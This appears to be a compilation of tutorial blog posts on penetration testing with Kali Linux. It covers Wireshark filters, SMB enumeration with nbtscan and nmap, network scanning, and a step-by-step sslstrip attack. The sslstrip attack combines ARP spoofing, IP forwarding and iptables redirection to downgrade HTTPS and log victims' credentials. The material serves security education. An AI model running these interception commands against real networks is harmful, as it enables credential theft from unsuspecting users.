What is Vulnerability?

What is vulnerability

Vulnerability is loop holes and weakness in computer Security, which allow attacker (hacker) to get into the System and reduce a System’s information assurance. There are three flaws of vulnerability:

  1. System suspicious flaw.
  2. Attacker find out vulnerability.
  3. Attacker exploit System by this vulnerability a very critical flaw.

It is also known as security bugs. Computer users and network personnel can protect computer systems from vulnerabilities by keeping software security patches up to date. These patches can remedy flaws or security holes that were found in the initial release. Computer and network personnel should also stay informed about current vulnerabilities in the software they use and seek out ways to protect against them.

Using Wireshark filter ip address and port inside network

Hello friends, I am glad you here and reading my post on Using wireshark filter ip address. In this I will cover about sniffing, wireshark, it’s features, capturing data by wireshark filter ip address and port. First we discuss about Senario.

Scenario:

If your PC inside network or using wifi in your laptop, mobile, and other devices. If you open the any site and enter the login credential username and password. This username and password is transmit over the network and same if you enter the credit card information, also travel over the network. If someone called hacker can capture this credential then assume what will be happened? And it is possible by sniffing let’s see how!

What is Sniffing?

Sniffing is the process to monitor and capture the data travel over the network. This process commonly used by Network Administrator or Security auditor to find out the issue in the network and malicious activity inside network. Some Bad guy called hacker used this process to capture important credential like Username, password and credit card information. Once the information is captured hacker can get access without any problem. All this is happened by network sniffer tools like wireshark tcpdump etc.

Definition of Wireshark:

Wireshark is a network packet analyzer. A network packet analyzer will try to capture network packets and tries to display that packet data as detailed as possible.

You could think of a network packet analyser as a measuring device used to examine what’s going on inside a network cable, just like a voltmeter is used by an electrician to examine what’s going on inside an electric cable (but at a higher level, of course).

Wireshark is perhaps one of the best open source packet analysers available today.

Some intended purposes of Wireshark

Here are some examples people use Wireshark for:

  • Network administrators use it to troubleshoot network problems
  • Network security engineers use it to examine security problems
  • Developers use it to debug protocol implementations
  • People use it to learn network protocolinternals

Using wireshark Features

The following are some of the many features Wireshark provides:

  • Available forUNIX and Windows.
  • Capturelive packet data from a network interface.
  • Openfiles containing packet data captured with tcpdump/WinDump, Wireshark, and a number of other packet capture programs.
  • Importpackets from text files containing hex dumps of packet data.
  • Display packets withvery detailed protocol information.
  • Savepacket data captured.
  • Exportsome or all packets in a number of capture file formats.
  • Filter packetson many criteria.
  • Searchfor packets on many criteria.
  • Colorizepacket display based on filters.
  • Create variousstatistics.

Open Wireshark in Kali Linux: In Kali Linux wireshark exist under Application > Kali Linux > Top 10 Security Tools > Wireshark Or type following command on terminal and hit enter

$wireshark &

open wireshsark in kali linux

Capturing data in Wireshark:

After start wireshark you will find the list of available interface like eth0 or wireless etc. select the interface and click on start to start capturing process. As soon as you click one the start, you’ll see the packets start to appear in real time. Wireshark captures each packet sent to your system or from your system. If you’re capturing data over wireless interface and have enabled promiscuous mode, you’ll be able to see other’s system packets over the network.

selecet interface and start capturing

Stop the capturing: To stop the capturing, click on the cross sign over interface in red colour

Save captured data: for analyzing the traffic over the network later you need to save captured data into the file. Next, File > save, Give the location where you want to save and file name then click on the save. By default file saved in .pcapng format in wireshark version 1.10.2.

save file 1

Open saved file: To open the saved file go, File > Open or press Ctrl+O short key and browse saved file then open.

Capture only incoming and outgoing traffic on particular IP address 192.168.1.3

  • host == 192.168.1.3

Capture traffic to or from a range of IP addresses:

  • addr == 192.168.1.0/24

Capture traffic from a range of IP addresses:

  • src == 192.168.1.0/24

Capture traffic to a range of IP addresses:

  • dst == 192.168.1.0/24

Capture only DNS (port 53) traffic:

  • dns

Capture only Ethernet type EAPOL:

  • eapol

DNS and not particular IP address

  • (dns) && !(ip.dst == 192.168.1.4)

DNS and destination ip address

  • (dns) && (ip.dst == 192.168.1.4)

And more filters are available you can Visit for more detail

Secure Socket Layer SSL analysis with sslstrip in Kali Linux

MODULE 6:- Enumeration

  1. Secure Socket Layer SSL analysis with sslstrip in Kali Linux
  2. SNMP Enumeration Kali by snmpwalk tool and snmpenum
  3. nbtscan and nmap “nbtstat -s” For SMB scanning

What is SSL (secure socket layer)?

SSL analysis (Secure Socket Layer) is a standard security technology which used for establishing an encrypted channel between a server and a client. For example a web server (website) and a browser; or a mail server and a mail client.

SSL allows sensitive information such as credit card numbers, social security numbers, and login credentials to be transmitted securely. Normally, data sent between browsers and web servers is sent in plain text—leaving you vulnerable to eavesdropping. If an attacker is able to intercept (capture) all data being sent over the internet between a browser and a web server they can see and use that information. Http is sent data in plain text over network. https protocol used for establishing scure channel between browser (client) and web server.

More specifically, SSL is a security protocol. Protocols describe how algorithms should be used; in this case, the SSL protocol determines variables of the encryption for both the link and the data being transmitted.

More detail https://www.digicert.com/ssl.htm

What sslstrip?

Sslstrip is tool used to downgrade HTTPS to HTTP. It will transparently hijack HTTP traffic on a network, watch for HTTPS links and redirects, and then map those links into either look-alike HTTP links or homograph-similar HTTPS links. It also supports modes for supplying a favicon which looks like a lock icon, selective logging, and session denial.

How does sslstrip work?

First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send attacker all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).

SSLstrip example

2 ssl exaple

Running sslstrip

Step 1: Enable port forwarding

echo “1” > /proc/sys/net/ipv4/ip_forward

2 arp spoof

Step 2: Findout network gateway

netstat –r

sslstrip netstat -r

Step 3: Spoof MAC address with gateway MAC address using arpspoof

arpspoof -i <interface> -t <targetIP> <gatewayIP>

arpspoof -i eth0 -t 192.168.1.5 192.168.1.1

Open new terminal and run following command

arpspoof -i eth0 -t 192.168.1.1 192.168.1.5

Step 4: Setup iptables to redirect HTTP traffic to sslstrip.

iptables -t nat -A PREROUTING -p tcp –destination-port 8080 -j REDIRECT –to-port <listenPort>

iptables -t nat -A PREROUTING -p tcp –destination-port 8080 -j REDIRECT –to-port 1000

Step 5:  Write the results to a file (-w sslstrip.log), listening on port 1000 (-l 1000):

Sslstrip –w sslstrip.txt –l 1000

nbtscan and nmap nbtstat For SMB scanning

nbtscan and nmap “nbtstat -s” For SMB scanning

MODULE 6:- Enumeration

  1. Secure Socket Layer SSL analysis with sslstrip in Kali Linux
  2. SNMP Enumeration Kali by snmpwalk tool and snmpenum
  3. nbtscan and nmap “nbtstat -s” For SMB scanning

SMB network scans by nbtscan scanner

nbtscan is a free network scanning software it is find out vulnerability after scanning network. it generate scanning files, contains the IP Address and other information of netbios block. it is amazing network scanning tools in kali Linux used for network security auditing and finding out vulnerability. 

SMB  enumeration

SMB enumeration is a technique to get all entities related NetBIOS, If the pentester is working at windows environment then he reveal the NetBIoS information through the nbtscan.

nbtscan for Linux

The nbtscan tool will generate a report that contains the IP address, NetBIOS computer name, services available, logged in username, and MAC address of the corresponding machines. The NetBIOS name is useful if you want to access the service provided by the machine using the NetBIOS protocol that is connected to an open share. Be careful as using this tool will generate a lot of traffic and it may be logged by the target machines. (Kali Linux- Assuring Security by Penetration Testing – Allen, Lee)

Nbtscan Usages

To see the available options for nbtscan just type nbtscan –h in the command line console.

Following options are available with nbtscan

                -v     verbose output. Print all names received from each host

                -d     dump packets. Print whole packet contents.

                -e     Format output in /etc/hosts format.

                -l      Format output in lmhosts format. Cannot be used with -v, -s or -h options.

                -t timeout    wait timeout milliseconds for response. Default 1000.

                -b bandwidth     Output throttling. Slow down output, it uses no more that bandwidth bps.

                                          Useful on slow links, so that ougoing queries don’t get dropped.

                -r    use local port 137 for scans. Win95 boxes respond to this only. You need to be root to                          use this option on Unix.

                -q    Suppress banners and error messages,

                -s separator        Script-friendly output. Don’t print column and record headers, separate                                                fields with separator.

                -h                      Print human-readable names for services. Can only be used with -v option.

                -m retransmits  Number of retransmits. Default 0.

                -f filename          Take IP addresses to scan from file filename. -f – makes nbtscan take IP                                              addresses from stdin.

                <scan_range>   what to scan. Can either be single IP like 192.168.1.1 or range of                                                         addresses in one of two form 

                                          xxx.xxx.xxx.xxx/xx or xxx.xxx.xxx.xxx-xxx.

Examples How to use nbtsccan

nbtscan -r 192.168.1.0/24

                Scans the whole C-class network.

nbtscan 192.168.1.25-137

                Scans a range from 192.168.1.25 to 192.168.1.137

nbtscan -v -s : 192.168.1.0/24

                Scans C-class network. Prints results in script-friendly format using colon as field separator

nbtscan -f iplist

                Scans IP addresses specified in file iplist.

Enumerate smb by nbtstat script in nmap

User Summary

Attempts to retrieve the target’s NetBIOS names and MAC address.

By default, the script displays the name of the computer and the logged-in user; if the verbosity is turned up, it displays all names the system thinks it owns.

Example Usage

sudo nmap -sU –script nbstat.nse -p137 <host>

nbtstat -s

What is network scanning ?

Network Scanning

As we discuss in previous, information gathering is the first phase of Penetration testing in which the pentester gather the information about the target. This phase is not enough alone to get much information, so we need another method to gather many more details about target. In This phase attacker get the detail about system, network, and vulnerabilities about potential target.

Types of scanning:

  • Live host scanning
  • Port scanning
  • UDP scanning
  • Vulnerability scanning

Network scanning is one of the most important phases of intelligence gathering. During the this process, you can gather information about specific ip addresses that can be accessed over the intent, their targets operating systems, system architecture, and the services running on each computer. In addition, the attacker also gather details about the networks and their individual host systems.

Purpose of Scanning

Discovering live hosts, ip address, and open ports of live hosts running on the network

Discovering open ports are the best way to break into the system.

Discovering Operating systems and system architecture

Identifying the vulnerabilities and threat

Detecting the associated network service of each port
